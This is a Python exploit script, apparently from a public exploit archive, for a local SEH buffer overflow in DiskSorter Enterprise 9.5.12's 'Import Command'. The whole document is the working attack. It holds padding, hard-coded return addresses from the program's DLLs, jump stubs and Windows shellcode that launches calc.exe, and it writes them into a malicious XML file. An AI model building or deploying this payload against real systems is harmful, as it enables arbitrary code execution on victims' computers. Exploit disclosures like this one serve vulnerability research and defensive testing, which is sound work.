Disk Sorter Enterprise 9.5.12 – ‘Import Command’ Local Buffer Overflow
#!/usr/bin/env python # Exploit Title: DiskSorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow (SEH) # Date: 2017-03-29 # Exploit Author: Daniel Teixeira # Author Homepage: www.danielteixeira.com # Vendor Homepage: http://www.disksorter.com # Software Link: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe # Version: 9.5.12 # Tested on: Windows 7 SP1 x86 import os,struct #Buffer overflow junk = "A" * 1536 #JMP ESP (QtGui4.dll) jmpesp= struct.pack('<L',0x651bb77a) #NOPS nops = "\x90" #LEA EAX, [ESP+76] esp = "\x8D\x44\x24\x4C" #JMP ESP jmp = "\xFF\xE0" #JMP Short = EB 05 nSEH = "\x90\x90\xEB\x05" #Jump short 5 #POP POP RET (libspp.dll) SEH = struct.pack('<L',0x10015FFE) #CALC.EXE shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7" #PAYLOAD payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000 #FILE file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>' f = open('Exploit.xml', 'w') f.write(file) f.close() |